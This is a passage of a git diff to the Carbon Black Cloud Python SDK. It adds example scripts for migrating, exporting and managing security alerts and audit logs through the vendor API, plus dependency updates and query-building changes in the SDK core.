set method has been extended to also enable exclusions, i.e. exclude records that match from the result + alert_query = api.select(Alert).add_exclusions("device_policy_id", [1234]) + len(alert_query) + # Fields that require a single value rather than a list continue to have specific setters + alert_query = api.select(Alert).set_alert_notes_present(True) + len(alert_query) + # And the specific setter takes an optional parameter to make it an exclusion + alert_query = api.select(Alert).set_alert_notes_present(True, True) + len(alert_query) + # Some fields have been deprecated and do not have an equivalent value in Alerts v7 or SDK 1.5.0. + # These will raise a FunctionalityDecommissioned exception. + # This example uses field ``blocked_threat_category`` + try: + api.select(Alert).set_blocked_threat_categories(["UNKNOWN"]) + except FunctionalityDecommissioned: + print("The FunctionalityDecommissioned exception is expected.") + print("blocked_threat_category is not a valid field") + + +def ports_split_local_remote(api): + """Port - the single field ``port`` has been replaced by two fields, netconn_local_port and netconn_remote_port. + + The legacy method set_port in the criteria is translated to a search criteria of netconn_local_port. + """ + print("\nInside ports_split_local_remote\n") + # This statement will search against ``netconn_local_port``. + alerts = api.select(BaseAlert).set_ports([1234]) + len(alerts) + # + # In SDK 1.5.0, criteria uses a generic add_criteria method instead of hand-crafted set_xxx methods. + # The value can be a single value or a list of values + # Validation is performed by the API, providing consistency to all callers + alerts = api.select(Alert).add_criteria("netconn_local_port", 1234) + len(alerts) + # or + alerts = api.select(Alert).add_criteria("netconn_remote_port", [1234]) + len(alerts) + + +def facet_terms(api): + """In Alerts v7 and SDK 1.5.0, more fields are available to use as facets and the term matches the field name. + + In Alerts v6 API (and therefore SDK 1.4.3) the terms available for use in a facet were very limited and the + names did not always match the field name it operated on. + """ + print("\nInside facet_terms\n") + # This is an example using a term in v6 that is unchanged in v7, and a new term. + # This code snippet will to succeed. + facet_list = api.select(Alert).facets(["policy_applied", "attack_technique"]) + print("This is a valid facet response: {}".format(json.dumps(facet_list, indent=4))) + # This is an example of a field in v6 that was renamed in v7. This code snippet will raise a + # ``FunctionalityDecommissioned exception. + # Use the migration guide to determine which field should be used instead, and also consider if there are new fields + # that can improve the utility of your integration. + # Fields that can be used as Facets + try: + print("Calling facets with invalid term.") + facet_list = api.select(BaseAlert).facets(["ALERT_TYPE"]) + except FunctionalityDecommissioned as e: + print(e) + + +def show_to_json(api): + """The method to_json() has been added as a supported way to get a json representation of the class. + + If you were using the ``_info`` field, this should be replaced with the ``to_json()`` + method. It defaults to the latest API version (currently v7) and takes a version as an optional parameter. + """ + print("\nInside show_to_json\n") + alerts = api.select(Alert) + alert = alerts.first() + print("This is the default, v7, representation: \n\n{}\n\n".format(alert.to_json())) + print("This is when the version is specified to v6: \n\n{}\n\n".format(alert.to_json("v6"))) + + +def observation_replaces_enriched_event(api): + """Enriched Events were removed and replaced by Observations. + + The helper function for Enriched Events has been removed and a FunctionalityDecommissioned exception is raised + if it is called. + + A new helper function to get Observations has been added. This can be used on all alert types, whereas + get_events was limited to CB_ANALYTICS alerts. + """ + print("\nInside observation_replaces_enriched_event\n") + alerts = api.select(CBAnalyticsAlert) + alert = alerts.first() + # do use get_observations() + alert.get_observations() + try: + # do not use get_events + alert.get_events() + except FunctionalityDecommissioned as e: + print("Expected exception. get_events has been removed because the Enriched Events API it uses is deprecated") + print(e) + + +def alert_workflow(api): + """The workflow has been simplified. The Workflow object no longer exists. + + Field values will be mapped in the to_json("v6") method. To changes status, please use the following sequence. + """ + # This example closes a single alert. Any alert search can be used. + ALERT_ID = "4ae2e0a4-3115-4692-8452-2ecd71db36ab" + alert_query = api.select(Alert).add_criteria("id", [ALERT_ID]) + # get the first alert. This is not needed to modify the status, but it's useful to print info + alert = alert_query.first() + + print("about to call update to closed") + job = alert_query.update("CLOSED", "RESOLVED", "NONE", "Setting to closed for SDK demo") + print("job.id = {}".format(job.id)) + # This is an asynchronous request meaning that HTTP response 200 means the request to change status was successful + # Use the job object to determine when the work has been completed. + job.await_completion().result() + # refresh the alert to get the updated data from Carbon Black Cloud into the SDK + alert.refresh() + print("Status = {}, Expecting CLOSED".format(alert.workflow["status"])) + # The earlier version of workflow is not supported, but the field values are mapped when using to_json("v6") + # v7 CLOSED == v6 DISMISSED + # v7 OPEN == v6 OPEN + # v7 IN_PROGRESS is mapped to v6 OPEN + v6_alert = alert.to_json("v6") + v6_wf = v6_alert["workflow"] + print("v6 compatibility not fully implemented for workflow. Use to_json(v6)") + print("Status = {}, Expecting OPEN for v6 equivalence".format(v6_wf["state"])) + + # So we can run this script again, return the alert to OPEN + job = alert_query.update("OPEN", "OTHER", "NONE", "Setting to open to reset after the SDK demo") + job.await_completion().result() + alert.refresh() + print("Status = {}, Expecting return to OPEN at the end".format( + alert.workflow["status"])) + # view the history of changes on the alert + print("printing the history of this alert") + for h in alert.get_history(): + print(h) + + +def main(): + """For convenience, each change has been put in a function. + + Hopefully this makes it easier to understand the bounds of each change and focus on the item you're interested in. + Debug logging is enabled so that the generated API requests are easily visible. Change this at line 11. + + This example does not use command line parsing in order to reduce complexity and focus on the SDK functions. + Review the Authentication section of the Read the Docs for information about Authentication in the SDK + https://carbon-black-cloud-python-sdk.readthedocs.io/en/latest/authentication/ + + Information about the migration from Alerts v6 API to Alerts v7 API which shows the mapping from v6 field names + to v7 field names, and new fields that were introduced is on the Developer Network. + https://developer.carbonblack.com/reference/carbon-black-cloud/guides/api-migration/alerts-migration/ + + Alert v7 API specification: + https://developer.carbonblack.com/reference/carbon-black-cloud/platform/latest/alerts-api/ + + Search Fields - Alerts, including which alert types each field is available on and whether they can be + used in criteria or facet terms. + https://developer.carbonblack.com/reference/carbon-black-cloud/platform/latest/alert-search-fields/ + """ + # api = CBCloudAPI(profile="YOUR PROFILE HERE") + api = CBCloudAPI(profile="YOUR PROFILE HERE ") + facet_terms(api) + base_class_and_default_time_range(api) + set_methods_backwards_compatibility(api) + get_methods_backwards_compatibility(api) + show_to_json(api) + observation_replaces_enriched_event(api) + category_monitored_removed(api) + ports_split_local_remote(api) + alert_workflow(api) + + +if __name__ == "__main__": + # Trap keyboard interrupts while running the script. + try: + sys.exit(main()) + except KeyboardInterrupt: + print("\nKeyboard interrupt\n") + sys.exit(0) diff --git a/examples/platform/alerts_bulk_export.py b/examples/platform/alerts_bulk_export.py new file mode 100644 index 000000000..7c3da5dc3 --- /dev/null +++ b/examples/platform/alerts_bulk_export.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +""" +This example shows how to use the SDK the poll for alerts. + +The SDK documentation is published on Read The Docs. An Alerts Guide is available there. +https://carbon-black-cloud-python-sdk.readthedocs.io + +This example contains the supporting code for the Alert Bulk Export -v 7 API Guide on Developer Network. +https://developer.carbonblack.com/reference/carbon-black-cloud/guides/alert-bulk-export +""" + +import sys +from cbc_sdk import CBCloudAPI +from cbc_sdk.platform import Alert + +from datetime import datetime, timedelta, timezone + + +def main(): + """This script demonstrates how to use Alerts in the SDK and common operations to link to related objects.""" + api = CBCloudAPI(profile="YOUR_PROFILE_HERE") + + # Time field and format to use + time_field = "backend_timestamp" + time_format = "%Y-%m-%dT%H:%M:%S.%fZ" + + # Time window to fetch. + # Uses current time - 60s to allow for Carbon Black Cloud asynchronous event processing completion + end = datetime.now(timezone.utc) - timedelta(seconds=60) + start = end - timedelta(minutes=5) + + # Fetch initial Alert batch + # the time stamp can be set either as a datetime object: + # alerts_time_as_object = list(api.select(Alert).set_time_range(start=start, end=end).sort_by(time_field, "ASC")) + # or as ISO 8601 strings + alerts = list(api.select(Alert).set_time_range(start=start.isoformat(), end=end.isoformat()) + .sort_by(time_field, "ASC")) + + # Check if 10k limit was hit. + # Iteratively fetch remaining alerts by increasing start time to the last alert fetched + if len(alerts) >= 10000: + last_alert = alerts[-1] + while True: + new_start = datetime.strptime(last_alert.create_time, time_format) + timedelta(milliseconds=1) + overflow = list(api.select(Alert) + .set_time_range(start=new_start, end=end) + .sort_by(time_field, "ASC")) + + # Extend alert list with follow up alert batches + alerts.extend(overflow) + if len(overflow) >= 10000: + last_alert = overflow[-1] + else: + break + + print(f"Fetched {len(alerts)} alert(s) from {start.strftime(time_format)} to {end.strftime(time_format)}") + + +if __name__ == "__main__": + # Trap keyboard interrupts while running the script. + try: + sys.exit(main()) + except KeyboardInterrupt: + print("\nKeyboard interrupt\n") + sys.exit(0) diff --git a/examples/platform/alerts_common_scenarios.py b/examples/platform/alerts_common_scenarios.py new file mode 100644 index 000000000..a3d17072d --- /dev/null +++ b/examples/platform/alerts_common_scenarios.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +""" +This example shows how to use the Alerts API and relate Alerts to other objects such as Processes and Observations. + +The SDK documentation is published on Read The Docs. An Alerts Guide is available there. +https://carbon-black-cloud-python-sdk.readthedocs.io + +If you are using SDK version 1.4.3 or earlier, see the related example script, alert_v6_v7_migration.py, +also in examples/platform and the Alert Migration Guide on Read the Docs on the changes that are needed. +SDK v1.5.0 does have breaking changes. +""" + +import sys +import time +import json +from cbc_sdk import CBCloudAPI +from cbc_sdk.platform import Alert, WatchlistAlert +from cbc_sdk.platform import Device + +# To see the http requests being made, and the structure of the search requests enable debug logging +# import logging +# logging.basicConfig(level=logging.DEBUG) + + +def alert_workflow(api): + """The workflow was simplified in SDK 1.5.0 to align with Alert v7 API. + + 1. Use an Alert Search to specify the alerts that will have their status updated + + * The request body is a search request and all alerts matching the request will be updated. + * Two common uses are to update one alert, or to update all alerts with a specific threat id. + * Any search request can be used as the criteria to select alerts to update the alert status. + + 2. Submit a job to update the status of Alerts. + + * The status can be ``OPEN``, ``IN PROGRESS`` or ``CLOSED`` (previously ``DISMISSED``). + * A Closure Reason may be included. + + 3. The immediate response confirms the job was successfully submitted. + + 4. Use the :py:mod:`Job() cbc_sdk.platform.jobs.Job` class to determine when the update is complete. + + * Use job.await_completion().result() + + 5. Refresh the Alert Search to get the updated alert data into the SDK. + + 6. The future Alerts with the same threat id can be set to automatically close. + """ + # This example closes a single alert. Any alert search can be used. + alert_query = api.select(Alert).set_rows(1) + # get the first alert. This is not needed to modify the status, but it's useful to print info + alert = alert_query.first() + + print("about to call update to closed") + job = alert_query.update("CLOSED", "RESOLVED", "NONE", "Setting to closed for SDK demo") + print("job.id = {}".format(job.id)) + # This is an asynchronous request meaning that HTTP response 200 means the request to change status was successful + # Use the job object to determine when the work has been completed. + job.await_completion().result() + # refresh the alert to get the updated data from Carbon Black Cloud into the SDK + alert.refresh() + + print("Status = {}, Expecting CLOSED. After job.await_completion().result() + alert.refresh()".format( + alert.workflow["status"])) + print("Status = {}, Expecting CLOSED".format(alert.workflow["status"])) + # So we can run this script again, return the alert to OPEN + job = alert_query.update("OPEN", "OTHER", "NONE", "Setting to open to reset after the SDK demo") + job.await_completion().result() + alert.refresh() + print("Status = {}, Expecting return to OPEN at the end".format( + alert.workflow["status"])) + # view the history of changes on the alert + print("printing the history of this alert") + for h in alert.get_history(): + print(h) + + print("Dismissing all future alerts with the same threat id as the current threat") + alert.dismiss_threat("threat remediation done", "testing dismiss_threat in the SDK") + print("Future alerts with that threat Id will be Dismissed / Closed") + + print("Un-Dismissing future alerts with the same threat id") + alert.update_threat("threat remediation un-done", "testing update_threat in the SDK") + print("Future alerts with that threat Id will not be Dismissed / Closed") + + +def main(): + """This script demonstrates how to use Alerts in the SDK and common operations to link to related objects. + + This example does not use command line parsing in order to reduce complexity and focus on the SDK functions. + Review the Authentication section of the Read the Docs for information about Authentication in the SDK + https://carbon-black-cloud-python-sdk.readthedocs.io/en/latest/authentication/ + + This is written for clarity of explanation, not perfect coding practices. + """ + # CBCloudAPI is the connection to the cloud. It holds the credentials for connectivity. + # To execute this script, the profile must have an API key with the following permissions. + # If you are restricted in the actions you're allowed to perform, expect a 403 response for missing permissions + # Permissions are set on Settings -> API Access -> Access Level and then assigned to an API Key + # Alerts - org.alerts - READ: For Alert searching and facets + # Alerts - org.alerts.tags - CREATE, READ, DELETE + # Search - org.search.events - CREATE, READ: For Process and Observation searches + # Device - device - READ: For Device Searches + # Alerts - org.alerts.close - EXECUTE: + # Alerts - org.alerts.notes - CREATE, READ, UPDATE, DELETE + + api = CBCloudAPI(profile="YOUR_PROFILE_HERE") + + # workflow is in a separate method. + alert_workflow(api) + + # To start, get some alerts that have a few interesting criteria set for selection. + # All the fields that can be used are on the Developer Network + # https://developer.carbonblack.com/reference/carbon-black-cloud/platform/latest/alert-search-fields/ + + # start by specifying Alert as the type of object to search + alert_query = api.select(Alert) + # add_criteria is used for all fields that are searchable arrays + alert_query.add_criteria("device_os", "WINDOWS") + # when the field is a single value, a set_xxx function is used. + alert_query.set_minimum_severity(3) + # and limit the time to the last day + alert_query.set_time_range(range="-1d") + # rows default to 100, let's override that + alert_query.set_rows(1000) + # and I think that Watchlist alerts are really noisy, so I'm going to exclude them from the results + alert_query.add_exclusions("type", "WATCHLIST") + # Wasn't that easier than crafting this json and making a curl request? + # { + # "criteria": { + # "device_os": [ + # "WINDOWS" + # ], + # "minimum_severity": 3 + # }, + # "exclusions": { + # "type": [ + # "WATCHLIST" + # ] + # }, + # "rows": 1000, + # "time_range": { + # "range": "-1d" + # } + # } + + # Trigger the query to be executed on Carbon Black Cloud. Any access the result set will trigger this. + # Including, iterating through the results (for alert in alert_query: ...), first() and one() methods + print("{} Alerts were returned".format(len(alert_query))) + + # Get a single alert to work with. This could be in an iterator + alert = alert_query.first() + # here's the ID of the alert. Use this to follow along in the console + print("Alert id = {}".format(alert.id)) + + # Check if there are any notes on the alert + print("There are {} notes on the alert".format(alert.notes_())) + # add a new note + new_note = alert.create_note("Adding note from SDK with current timestamp: {}".format(time.time())) + # notes can also be associated with the threat instead of the note + new_threat_note = alert.create_note("Adding note to the threat from SDK, current timestamp: {}".format(time.time())) + # print the history of what has happened on the alert + history = alert.get_history() + print("Printing history of the alert") + for h in history: + print(h) + # clean up our notes + new_note.delete() + new_threat_note.delete() + + # Here is how to call facets. + # Facets generate statistics indicating the relative weighting of values for the specified terms. + print("\nShowing a facet request and response\n") + # This is an example of a field in v6 that is unchanged in v7. This code snippet will continue to succeed. + facet_list = api.select(Alert).facets(["policy_applied", "attack_technique"]) + # The base object (e.g. Alert) has pretty printing implemented. We're working on other objects. Sorry. + print("This is a valid facet response: {}".format(json.dumps(facet_list, indent=4))) + + # Contextual information around the Alert + # Observations + observation_list = alert.get_observations() + len(observation_list) # force the query execution + print("There are {} related observations".format(len(observation_list))) + + # Which device was this alert on? + device = api.select(Device, alert.device_id) + print("Device Id:{}, Device Name:{}".format(device.id, device.name)) + + # To get an export of the raw json alert, there's a to_json method. Use this instead of the internal _info + print("This is the json representation of the alert. There's a lot of useful data available.") + print(json.dumps(alert.to_json(), indent=2)) + + # Some information is only available for particular alert types + # Processes + # Get a Watchlist Alert. select(WatchlistAlert) is equivalent to select(Alert).add_criteria("type", "WATCHLIST") + watchlist_alert = api.select(WatchlistAlert).first() + + process = watchlist_alert.get_process() + print("This is the process for the watchlist alert") + print(process) + + +if __name__ == "__main__": + # Trap keyboard interrupts while running the script. + try: + sys.exit(main()) + except KeyboardInterrupt: + print("\nKeyboard interrupt\n") + sys.exit(0) diff --git a/examples/platform/audit_log.py b/examples/platform/audit_log.py new file mode 100644 index 000000000..25e984713 --- /dev/null +++ b/examples/platform/audit_log.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +"""Example script which collects audit logs + +The Audit log API provides a read-once queue so no search parameters are requied. +The command line takes the command (get_audit_logs), the total time to run for in seconds and +the polling period, also in seconds. This command will run for 180 seconds (3 minutes) polling for new audit +logs every 30 seconds. +> python examples/platform/audit_log.py --profile DEMO_PROFILE get_audit_logs -r 180 -p 30 +""" + +import sys +import time +from cbc_sdk.helpers import build_cli_parser, get_cb_cloud_object +from cbc_sdk.platform import AuditLog + + +def get_audit_logs(cb, args): + """Polls for audit logs for the period set on input at the specified interval.""" + poll_interval = args.poll_interval + run_period = args.run_period + + while run_period > 0: + events_list = AuditLog.get_auditlogs(cb) + print("Runtime remaining: {0} seconds".format(run_period)) + if len(events_list) == 0: + print("No audit logs available") + for event in events_list: + print(f"Event {event['eventId']}:") + for (k, v) in event.items(): + print(f"\t{k}: {v}") + time.sleep(poll_interval) + run_period = run_period - poll_interval + + print("Run time completed") + + +def main(): + """Main function for Audit Logs example script.""" + parser = build_cli_parser("Get Audit Logs") + subparsers = parser.add_subparsers(dest="command", required=True) + + get = subparsers.add_parser("get_audit_logs", help="Get available audit logs") + + get.add_argument('-r', '--run_period', type=int, default=180, help="Time in seconds to continue polling for") + # For production use, a longer poll interval of at least one minute should be used + get.add_argument('-p', '--poll_interval', type=int, default=30, help="Time in seconds between calling the api") + + args = parser.parse_args() + cb = get_cb_cloud_object(args) + + if args.command == "get_audit_logs": + get_audit_logs(cb, args) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/examples/platform/container_runtime_alerts.py b/examples/platform/container_runtime_alerts.py index f906f8e85..e1c5adfed 100644 --- a/examples/platform/container_runtime_alerts.py +++ b/examples/platform/container_runtime_alerts.py @@ -56,7 +56,7 @@ def main(): if args.reason: print(alert.reason) elif args.ip: - print(alert.remote_ip) + print(alert.netconn_remote_ip) else: print(alert) diff --git a/requirements.txt b/requirements.txt index e7eb59dc2..e4b50c766 100644 --- a/requirements.txt +++ b/requirements.txt @@ -8,13 +8,16 @@ validators jsonschema keyring;platform_system=='Darwin' boto3 +backports-datetime-fromisoformat==2.0.1 + # Dev dependencies pytest==7.2.1 pymox==1.0.0 coverage==6.5.0 coveralls==3.3.1 -flake8==5.0.4 +flake8==5.0.4; python_version < '3.8' +flake8==6.1.0; python_version >= '3.8' flake8-colors==0.1.9 flake8-docstrings==1.7.0 pre-commit>=2.15.0 diff --git a/setup.cfg b/setup.cfg index d003e9d15..4a9cf7303 100644 --- a/setup.cfg +++ b/setup.cfg @@ -5,7 +5,7 @@ description-file = README.md universal = 1 [flake8] -ignore = F400, D415, D212, E722 +ignore = F400, D415, D212, E722, W503 exclude = *__init__.py, venv/* per-file-ignores=src/tests/unit/fixtures/*:D103 max-doc-length = 120 diff --git a/setup.py b/setup.py index a7ddd56bb..d929651b6 100644 --- a/setup.py +++ b/setup.py @@ -24,7 +24,8 @@ 'validators', 'jsonschema', "keyring;platform_system=='Darwin'", - 'boto3' + 'boto3', + 'backports-datetime-fromisoformat==2.0.1' ] extras_require = { @@ -72,10 +73,11 @@ def read(fname): 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Operating System :: OS Independent', - 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Programming Language :: Python :: 3.10', + 'Programming Language :: Python :: 3.11', + 'Programming Language :: Python :: 3.12', 'Topic :: Security', 'Topic :: Software Development :: Libraries :: Python Modules' ], diff --git a/src/cbc_sdk/__init__.py b/src/cbc_sdk/__init__.py index b60942812..7d0444a4c 100644 --- a/src/cbc_sdk/__init__.py +++ b/src/cbc_sdk/__init__.py @@ -4,7 +4,7 @@ __author__ = 'Carbon Black Developer Network' __license__ = 'MIT' __copyright__ = 'Copyright 2020-2023 VMware Carbon Black' -__version__ = '1.4.3' +__version__ = '1.5.0' from .rest_api import CBCloudAPI from .cache import lru diff --git a/src/cbc_sdk/audit_remediation/base.py b/src/cbc_sdk/audit_remediation/base.py index 176f74d29..7c0cb5704 100644 --- a/src/cbc_sdk/audit_remediation/base.py +++ b/src/cbc_sdk/audit_remediation/base.py @@ -957,7 +957,9 @@ def _build_request(self, start, rows): request = {"start": start} if self._query_builder: - request["query"] = self._query_builder._collapse() + query = self._query_builder._collapse() + if query: + request["query"] = query if rows != 0: request["rows"] = rows if self._criteria: @@ -1217,8 +1219,10 @@ def _build_request(self, start, rows): Returns: dict: The complete request body. """ - request = {"start": start, "query": self._query_builder._collapse()} - + request = {"start": start} + query = self._query_builder._collapse() + if query: + request["query"] = query if rows != 0: request["rows"] = rows if self._criteria: @@ -1611,7 +1615,10 @@ def _build_request(self, rows): terms = {"fields": self._facet_fields} if rows != 0: terms["rows"] = rows - request = {"query": self._query_builder._collapse(), "terms": terms} + request = {"terms": terms} + query = self._query_builder._collapse() + if query: + request["query"] = query if self._criteria: request["criteria"] = self._criteria return request diff --git a/src/cbc_sdk/base.py b/src/cbc_sdk/base.py index 58577ab44..9142aa238 100644 --- a/src/cbc_sdk/base.py +++ b/src/cbc_sdk/base.py @@ -432,7 +432,7 @@ def _model_unique_id(self): return self._info.get(self.__class__.primary_key, None) @classmethod - def new_object(cls, cb, item, **kwargs): + def _new_object(cls, cb, item, **kwargs): """ Create a new object of a model class. @@ -572,19 +572,6 @@ def _retrieve_cb_info(self): def _parse(self, obj): return obj - @property - def original_document(self): - """ - Returns the original meta-information about the object. - - Returns: - object: The original meta-information about the object. - """ - if not self._full_init: - self.refresh() - - return self._info - def __repr__(self): """ Returns a string representation of the object. @@ -1195,7 +1182,7 @@ def results(self): if not self._full_init: self._results = [] for item in self._cb.get_object(self._urlobject, default=[]): - t = self._doc_class.new_object(self._cb, item, full_doc=self._returns_full_doc) + t = self._doc_class._new_object(self._cb, item, full_doc=self._returns_full_doc) if self._match_query(t): self._results.append(t) self._results = self._sort(self._results) @@ -1375,7 +1362,7 @@ def __getitem__(self, item): def _perform_query(self, start=0, numrows=0): for item in self._search(start=start, rows=numrows): - yield self._doc_class.new_object(self._cb, item) + yield self._doc_class._new_object(self._cb, item) def batch_size(self, new_batch_size): """ @@ -1649,7 +1636,8 @@ def not_(self, q=None, **kwargs): class CriteriaBuilderSupportMixin: - """A mixin that supplies wrapper methods to access the _crtieria.""" + """A mixin that supplies wrapper methods to access the criteria.""" + VALID_DIRECTIONS = ("ASC", "DESC") def add_criteria(self, key, newlist): """Add to the criteria on this query with a custom criteria key. @@ -1664,12 +1652,12 @@ def add_criteria(self, key, newlist): The query object with specified custom criteria. Example: - >>> query = api.select(Event).add_criteria("event_type", ["filemod", "scriptload"]) - >>> query = api.select(Event).add_criteria("event_type", "filemod") + >>> query = api.select(Alert).add_criteria("type", ["CB_ANALYTIC", "WATCHLIST"]) + >>> query = api.select(Alert).add_criteria("type", "CB_ANALYTIC") """ if not isinstance(newlist, list): - if not isinstance(newlist, str): - raise ApiError("Criteria value(s) must be a string or list of strings. " + if not isinstance(newlist, str) and not isinstance(newlist, int): + raise ApiError("Criteria value(s) must be a string, int or list of strings or ints. " f"{newlist} is a {type(newlist)}.") self._update_criteria(key, [newlist], overwrite=True) else: @@ -1716,6 +1704,74 @@ def _update_criteria(self, key, newlist, overwrite=False): self._criteria[key].extend(newlist) +class ExclusionBuilderSupportMixin: + """A mixin that supplies wrapper methods to access the exclusions.""" + + def add_exclusions(self, key, newlist): + """Add to the exclusions on this query with a custom exclusions key. + + Will overwrite any existing exclusion for the specified key. + + Args: + key (str): The key for the exclusion item to be set. + newlist (str or list[str]): Value or list of values to be set for the exclusion item. + + Returns: + The query object with specified custom exclusion. + + Example: + >>> query = api.select(Alert).add_exclusions("type", ["WATCHLIST"]) + >>> query = api.select(Alert).add_exclusions("type", "WATCHLIST") + """ + if not isinstance(newlist, list): + if not isinstance(newlist, str) and not isinstance(newlist, int): + raise ApiError("Exclusion value(s) must be a string, int or list of strings or ints. " + f"{newlist} is a {type(newlist)}.") + self._update_exclusions(key, [newlist], overwrite=True) + else: + self._update_exclusions(key, newlist, overwrite=True) + return self + + def update_exclusions(self, key, newlist): + """Update the exclusion on this query with a custom exclusion key. + + Args: + key (str): The key for the exclusion item to be set. + newlist (list): List of values to be set for the exclusion item. + + Returns: + The query object with specified custom exclusion. + + Example: + >>> query = api.select(Alert).update_exclusions("my.criteria.key", ["criteria_value"]) + + Note: + Use this method if there is no implemented method for your desired criteria. + """ + if not isinstance(newlist, list): + if not isinstance(newlist, str): + raise ApiError("Exclusion value(s) must be a string or list of strings. " + f"{newlist} is a {type(newlist)}.") + self._update_exclusions(key, [newlist]) + else: + self._update_exclusions(key, newlist) + return self + + def _update_exclusions(self, key, newlist, overwrite=False): + """ + Updates a list of exclusions being collected for a query, by setting or appending items. + + Args: + key (str): The key for the exclusion item to be set. + newlist (list): List of values to be set for the exclusion item. + overwrite (bool): Overwrite the existing exclusions for specified key + """ + if self._exclusions.get(key, None) is None or overwrite: + self._exclusions[key] = newlist + else: + self._exclusions[key].extend(newlist) + + class AsyncQueryMixin: """A mix-in which provides support for asynchronous queries.""" @@ -1751,7 +1807,8 @@ def execute_async(self): return self._cb._async_submit(lambda arg, kwarg: arg[0]._run_async_query(arg[1]), self, context) -class Query(PaginatedQuery, QueryBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin, CriteriaBuilderSupportMixin): +class Query(PaginatedQuery, QueryBuilderSupportMixin, IterableQueryMixin, AsyncQueryMixin, CriteriaBuilderSupportMixin, + ExclusionBuilderSupportMixin): """Represents a prepared query to the Carbon Black Cloud. This object is returned as part of a `CBCCloudAPI.select` @@ -1800,29 +1857,6 @@ def __init__(self, doc_class, cb): self._fields = ["*"] self._default_args = {} - def add_exclusions(self, key, newlist): - """Add to the excluions on this query with a custom exclusion key. - - Args: - key (str): The key for the exclusion item to be set. - newlist (str or list[str]): Value or list of values to be set for the exclusion item. - - Returns: - The ResultQuery with specified custom exclusion. - - Example: - >>> query = api.select(Event).add_exclusions("netconn_domain", ["www.google.com"]) - >>> query = api.select(Event).add_exclusions("netconn_domain", "www.google.com") - """ - if not isinstance(newlist, list): - if not isinstance(newlist, str): - raise ApiError("Exclusion value(s) must be a string or list of strings. " - f"{newlist} is a {type(newlist)}.") - self._add_exclusions(key, [newlist]) - else: - self._add_exclusions(key, newlist) - return self - def _add_exclusions(self, key, newlist): """ Updates a list of exclusion being collected for a query, by setting or appending items. @@ -1890,10 +1924,10 @@ def set_time_range(self, start=None, end=None, window=None): - `window` will take precendent over `start` and `end` if provided. Examples: - >>> query = api.select(Event).set_time_range(start="2020-10-20T20:34:07Z") - >>> second_query = api.select(Event). - ... set_time_range(start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z") - >>> third_query = api.select(Event).set_time_range(window='-3d') + >>> query = api.select(Process).set_time_range(start="2020-10-20T20:34:07Z").where("query is required") + >>> second_query = api.select(Process). + ... set_time_range(start="2020-10-20T20:34:07Z", end="2020-10-30T20:34:07Z").where("query is required") + >>> third_query = api.select(Process).set_time_range(window='-3d').where("query is required") """ if start: if not isinstance(start, str): @@ -1917,10 +1951,12 @@ def _get_query_parameters(self): args["exclusions"] = self._exclusions if self._time_range: args["time_range"] = self._time_range - args['query'] = self._query_builder._collapse() + query = self._query_builder._collapse() + if query: + args['query'] = query if self._query_builder._process_guid is not None: args["process_guid"] = self._query_builder._process_guid - if 'process_guid:' in args['query']: + if 'process_guid:' in args.get('query', ''): q = args['query'].split('process_guid:', 1)[1].split(' ', 1)[0] args["process_guid"] = q @@ -1977,8 +2013,11 @@ def _count(self): def _validate(self, args): if not hasattr(self._doc_class, "validation_url"): return + if not args.get('query'): + return url = self._doc_class.validation_url.format(self._cb.credentials.org_key) + method = self._doc_class.validation_method if hasattr(self._doc_class, "validation_method") else "GET" if args.get('query', False): args['q'] = args['query'] @@ -1986,10 +2025,20 @@ def _validate(self, args): # v2 search sort key does not work with v1 validation sort = args.pop('sort', None) - validated = self._cb.get_object(url, query_parameters=args) + if method == "POST": + qparam = args.get('q', None) + if qparam: + result = self._cb.post_object(url, {'query': qparam}) + validated = result.json() + else: + validated = {"valid": True} # fake result - nothing to validate + else: + validated = self._cb.get_object(url, query_parameters=args) # Re-add sort args["sort"] = sort + # remove duplicate q + args.pop("q") if not validated.get("valid"): raise ApiError("Invalid query: {}: {}".format(args, validated["invalid_message"])) @@ -2020,7 +2069,8 @@ def _run_async_query(self, context): return list(self._search()) -class FacetQuery(BaseQuery, AsyncQueryMixin, QueryBuilderSupportMixin, CriteriaBuilderSupportMixin): +class FacetQuery(BaseQuery, AsyncQueryMixin, QueryBuilderSupportMixin, CriteriaBuilderSupportMixin, + ExclusionBuilderSupportMixin): """Query class for asynchronous Facet API calls. These API calls return one result, and are not paginated or iterable. @@ -2051,40 +2101,6 @@ def __init__(self, cls, cb, 